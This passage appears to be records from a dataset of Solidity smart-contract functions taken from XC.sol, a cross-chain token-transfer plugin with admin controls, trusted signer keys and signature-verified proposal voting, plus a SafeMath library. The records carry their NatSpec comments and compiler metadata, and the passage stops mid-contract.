interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getWeight
function getWeight() external view returns (uint);
/** * Get the weight of a trusted platform. * @return weight of platform. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 3042, 3097 ] }
59,317
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
voteProposal
function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external;
/** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 3386, 3498 ] }
59,318
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
verifyProposal
function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool);
/** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 3745, 3874 ] }
59,319
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
commitProposal
function commitProposal(string txid) external returns (bool);
/** * Commit the transaction proposal. * @param txid transaction id. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 3972, 4038 ] }
59,320
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getProposal
function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight);
/** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 4443, 4601 ] }
59,321
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
deleteProposal
function deleteProposal(string txid) external;
/** * Delete the transaction proposal information. * @param txid transaction id. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 4711, 4762 ] }
59,322
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; }
/** * @dev Multiplies two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 95, 302 ] }
59,323
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; }
/** * @dev Integer division of two numbers, truncating the quotient. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 392, 692 ] }
59,324
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }
/** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 812, 940 ] }
59,325
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; }
/** * @dev Adds two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1010, 1156 ] }
59,326
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPlugin
contract XCPlugin is XCPluginInterface { /** * Contract Administrator * @field status Contract external service status. * @field platformName Current contract platform name. * @field tokenSymbol token Symbol. * @field account Current contract administrator. */ struct Admin { bool status; bytes32 platformName; bytes32 tokenSymbol; address account; string version; } /** * Transaction Proposal * @field status Transaction proposal status(false:pending,true:complete). * @field fromAccount Account of form platform. * @field toAccount Account of to platform. * @field value Transfer amount. * @field tokenSymbol token Symbol. * @field voters Proposers. * @field weight The weight value of the completed time. */ struct Proposal { bool status; address fromAccount; address toAccount; uint value; address[] voters; uint weight; } /** * Trusted Platform * @field status Trusted platform state(false:no trusted,true:trusted). * @field weight weight of platform. * @field publicKeys list of public key. * @field proposals list of proposal. */ struct Platform { bool status; bytes32 name; uint weight; address[] publicKeys; mapping(string => Proposal) proposals; } Admin private admin; address[] private callers; Platform private platform; constructor() public { init(); } /** * TODO Parameters that must be set before compilation * $Init admin.status * $Init admin.platformName * $Init admin.tokenSymbol * $Init admin.account * $Init admin.version * $Init platform.status * $Init platform.name * $Init platform.weight * $Init platform.publicKeys */ function init() internal { // Admin { status | platformName | tokenSymbol | account} admin.status = true; admin.platformName = "ETH"; admin.tokenSymbol = "INK"; admin.account = msg.sender; admin.version = "1.0"; platform.status = true; platform.name = "INK"; platform.weight = 3; platform.publicKeys.push(0x80aa17b21c16620a4d7dd06ec1dcc44190b02ca0); platform.publicKeys.push(0xd2e40bb4967b355da8d70be40c277ebcf108063c); platform.publicKeys.push(0x1501e0f09498aa95cb0c2f1e3ee51223e5074720); } function start() onlyAdmin external { if (!admin.status) { admin.status = true; } } function stop() onlyAdmin external { if (admin.status) { admin.status = false; } } function getStatus() external view returns (bool) { return admin.status; } function getPlatformName() external view returns (bytes32) { return admin.platformName; } function setAdmin(address account) onlyAdmin nonzeroAddress(account) external { if (admin.account != account) { admin.account = account; } } function getAdmin() external view returns (address) { return admin.account; } function getTokenSymbol() external view returns (bytes32) { return admin.tokenSymbol; } function addCaller(address caller) onlyAdmin nonzeroAddress(caller) external { if (!_existCaller(caller)) { callers.push(caller); } } function deleteCaller(address caller) onlyAdmin nonzeroAddress(caller) external { for (uint i = 0; i < callers.length; i++) { if (callers[i] == caller) { if (i != callers.length - 1 ) { callers[i] = callers[callers.length - 1]; } callers.length--; return; } } } function existCaller(address caller) external view returns (bool) { return _existCaller(caller); } function getCallers() external view returns (address[]) { return callers; } function getTrustPlatform() external view returns (bytes32 name){ return platform.name; } function setWeight(uint weight) onlyAdmin external { require(weight > 0); if (platform.weight != weight) { platform.weight = weight; } } function getWeight() external view returns (uint) { return platform.weight; } function addPublicKey(address publicKey) onlyAdmin nonzeroAddress(publicKey) external { address[] storage publicKeys = platform.publicKeys; for (uint i; i < publicKeys.length; i++) { if (publicKey == publicKeys[i]) { return; } } publicKeys.push(publicKey); } function deletePublicKey(address publicKey) onlyAdmin nonzeroAddress(publicKey) external { address[] storage publicKeys = platform.publicKeys; for (uint i = 0; i < publicKeys.length; i++) { if (publicKeys[i] == publicKey) { if (i != publicKeys.length - 1 ) { publicKeys[i] = publicKeys[publicKeys.length - 1]; } publicKeys.length--; return; } } } function existPublicKey(address publicKey) external view returns (bool) { return _existPublicKey(publicKey); } function countOfPublicKey() external view returns (uint){ return platform.publicKeys.length; } function publicKeys() external view returns (address[]){ return platform.publicKeys; } function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) opened external { bytes32 msgHash = hashMsg(platform.name, fromAccount, admin.platformName, toAccount, value, admin.tokenSymbol, txid,admin.version); address publicKey = recover(msgHash, sig); require(_existPublicKey(publicKey)); Proposal storage proposal = platform.proposals[txid]; if (proposal.value == 0) { proposal.fromAccount = fromAccount; proposal.toAccount = toAccount; proposal.value = value; } else { require(proposal.fromAccount == fromAccount && proposal.toAccount == toAccount && proposal.value == value); } changeVoters(publicKey, txid); } function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool) { Proposal storage proposal = platform.proposals[txid]; if (proposal.status) { return (true, (proposal.voters.length >= proposal.weight)); } if (proposal.value == 0) { return (false, false); } require(proposal.fromAccount == fromAccount && proposal.toAccount == toAccount && proposal.value == value); return (false, (proposal.voters.length >= platform.weight)); } function commitProposal(string txid) external returns (bool) { require((admin.status &&_existCaller(msg.sender)) || msg.sender == admin.account); require(!platform.proposals[txid].status); platform.proposals[txid].status = true; platform.proposals[txid].weight = platform.proposals[txid].voters.length; return true; } function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight){ fromAccount = platform.proposals[txid].fromAccount; toAccount = platform.proposals[txid].toAccount; value = platform.proposals[txid].value; voters = platform.proposals[txid].voters; status = platform.proposals[txid].status; weight = platform.proposals[txid].weight; return; } function deleteProposal(string txid) onlyAdmin external { delete platform.proposals[txid]; } /** * ###################### * # private function # * ###################### */ function hashMsg(bytes32 fromPlatform, address fromAccount, bytes32 toPlatform, address toAccount, uint value, bytes32 tokenSymbol, string txid,string version) internal pure returns (bytes32) { return sha256(bytes32ToStr(fromPlatform), ":0x", uintToStr(uint160(fromAccount), 16), ":", bytes32ToStr(toPlatform), ":0x", uintToStr(uint160(toAccount), 16), ":", uintToStr(value, 10), ":", bytes32ToStr(tokenSymbol), ":", txid, ":", version); } function changeVoters(address publicKey, string txid) internal { address[] storage voters = platform.proposals[txid].voters; for (uint i = 0; i < voters.length; i++) { if (voters[i] == publicKey) { return; } } voters.push(publicKey); } function bytes32ToStr(bytes32 b) internal pure returns (string) { uint length = b.length; for (uint i = 0; i < b.length; i++) { if (b[b.length - 1 - i] != "") { length -= i; break; } } bytes memory bs = new bytes(length); for (uint j = 0; j < length; j++) { bs[j] = b[j]; } return string(bs); } function uintToStr(uint value, uint base) internal pure returns (string) { uint _value = value; uint length = 0; bytes16 tenStr = "0123456789abcdef"; while (true) { if (_value > 0) { length ++; _value = _value / base; } else { break; } } if (base == 16) { length = 40; } bytes memory bs = new bytes(length); for (uint i = 0; i < length; i++) { bs[length - 1 - i] = tenStr[value % base]; value = value / base; } return string(bs); } function _existCaller(address caller) internal view returns (bool) { for (uint i = 0; i < callers.length; i++) { if (callers[i] == caller) { return true; } } return false; } function _existPublicKey(address publicKey) internal view returns (bool) { address[] memory publicKeys = platform.publicKeys; for (uint i = 0; i < publicKeys.length; i++) { if (publicKeys[i] == publicKey) { return true; } } return false; } function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } return ecrecover(hash, v, r, s); } modifier 